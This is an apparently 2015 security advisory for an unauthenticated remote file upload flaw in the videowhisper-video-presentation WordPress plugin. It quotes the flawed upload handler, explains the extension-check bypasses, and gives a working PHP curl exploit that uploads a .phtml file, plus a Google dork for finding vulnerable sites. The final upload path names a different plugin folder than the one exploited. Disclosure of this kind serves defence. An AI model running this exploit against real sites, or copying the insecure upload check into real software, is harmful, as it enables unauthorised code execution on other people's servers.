Remote file upload vulnerability in wordpress plugin videowhisper-video-presentation v3.31.17

["Larry W. Cashdollar" <larry0@xxxxxx>]

Title: Remote file upload vulnerability in wordpress plugin 
videowhisper-video-presentation v3.31.17
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: https://wordpress.org/plugins/videowhisper-video-presentation/
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-29, won’t fix 
http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Description: VideoWhisper Video Consultation is a web based video communication 
solution designed for online video consultations, interactive live 
presentations, trainings, webinars, coaching and online collaboration with 
webcam support. Read more on WordPress Video Presentation plugin home page.
Vulnerability:
From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php 

*Update*  You can directly execute php by uploading file extension ending in 
.phtml or .rhtml as long as the extension isn't defined in the 
apache mime.types.

Allows various remote unauthenticated file uploads,  among the file types is 
html where the last 4 characters are only being checked 
in a file name to match which types are allowed.  Because of this .shtml can be 
passed through and remote code execution is SSI is 
allowed.  The code does not do any user access validation and therefore anyone 
can upload the following files to an unsuspecting 
wordpress site:

.shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps

The if (strstr($filename,'.php')) exit; can be by passed by using the extension 
.Php but the file extension check would allow 
files like test.Php.shtml

<?php

if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];
$filename=$_FILES['vw_file']['name'];

include_once("incsan.php");
sanV($room);
if (!$room) exit;
sanV($filename);
if (!$filename) exit;

if (strstr($filename,'.php')) exit;

//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;

$destination="uploads/".$room."/";
if ($_GET["slides"]) $destination .= "slides/";

$ext=strtolower(substr($filename,-4));
$allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps");

if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], 
$destination . $filename);
?>loadstatus=1

CVEID:
OSVDB:
Exploit Code:
         <?php
          
         $uploadfile="upexp.phtml";
         $ch = 
         
curl_init("http://target_site/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php";);
         curl_setopt($ch, CURLOPT_POST, true);
         curl_setopt($ch, CURLOPT_POSTFIELDS,
                  
array('vw_file'=>"@$uploadfile",'name'=>'upexp.phtml','room'=>'.'));
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
         $postResult = curl_exec($ch);
         curl_close($ch);
         print "$postResult";
          
         ?>
          
         upexp.phtml
          
         <?php
         phpinfo();
         ?>
         The executeable should be located in 
wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads.
Google Dork: inurl:/wp-content/plugins/videowhisper-video-presentation/